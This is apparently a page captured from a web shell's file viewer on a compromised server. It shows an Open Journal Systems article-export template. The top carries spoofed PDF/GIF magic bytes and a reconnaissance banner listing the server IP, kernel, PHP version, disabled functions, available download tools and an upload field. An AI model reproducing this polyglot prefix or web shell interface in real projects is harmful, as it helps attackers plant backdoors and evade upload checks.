%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/importexport/native/ |
Upload File : |
{**
* plugins/importexport/native/articles.tpl
*
* Copyright (c) 2013-2019 Simon Fraser University
* Copyright (c) 2003-2019 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* List of articles to potentially export
*
*}
{strip}
{assign var="pageTitle" value="plugins.importexport.native.selectArticle"}
{assign var="pageCrumbTitle" value="plugins.importexport.native.selectArticle"}
{include file="common/header.tpl"}
{/strip}
<script type="text/javascript">
{literal}
<!--
function toggleChecked() {
var elements = document.getElementsByName("articleId[]");
for (var i=0; i < elements.length; i++) {
elements[i].checked = !elements[i].checked;
}
}
// -->
{/literal}
</script>
<br />
<div id="articles">
<form action="{plugin_url path="exportArticles"}" method="post" id="articles">
<table width="100%" class="listing">
<tr>
<td colspan="5" class="headseparator"> </td>
</tr>
<tr class="heading" valign="bottom">
<td width="5%"> </td>
<td width="25%">{translate key="issue.issue"}</td>
<td width="40%">{translate key="article.title"}</td>
<td width="25%">{translate key="article.authors"}</td>
<td width="5%" align="right">{translate key="common.action"}</td>
</tr>
<tr>
<td colspan="5" class="headseparator"> </td>
</tr>
{iterate from=articles item=articleData}
{assign var=article value=$articleData.article}
{assign var=issue value=$articleData.issue}
<tr valign="top">
<td><input type="checkbox" name="articleId[]" value="{$article->getId()}"/></td>
<td><a href="{url page="issue" op="view" path=$issue->getId()}" class="action">{$issue->getIssueIdentification()|strip_unsafe_html|nl2br}</a></td>
<td>{$article->getLocalizedTitle()|strip_unsafe_html}</td>
<td>{$article->getAuthorString()|escape}</td>
<td align="right"><a href="{plugin_url path="exportArticle"|to_array:$article->getId()}" class="action">{translate key="common.export"}</a></td>
</tr>
<tr>
<td colspan="5" class="{if $articles->eof()}end{/if}separator"> </td>
</tr>
{/iterate}
{if $articles->wasEmpty()}
<tr>
<td colspan="5" class="nodata">{translate key="common.none"}</td>
</tr>
<tr>
<td colspan="5" class="endseparator"> </td>
</tr>
{else}
<tr>
<td colspan="2" align="left">{page_info iterator=$articles}</td>
<td colspan="3" align="right">{page_links anchor="articles" name="articles" iterator=$articles}</td>
</tr>
{/if}
</table>
<p><input type="submit" value="{translate key="common.export"}" class="button defaultButton"/> <input type="button" value="{translate key="common.selectAll"}" class="button" onclick="toggleChecked()" /></p>
</form>
</div>
{include file="common/footer.tpl"}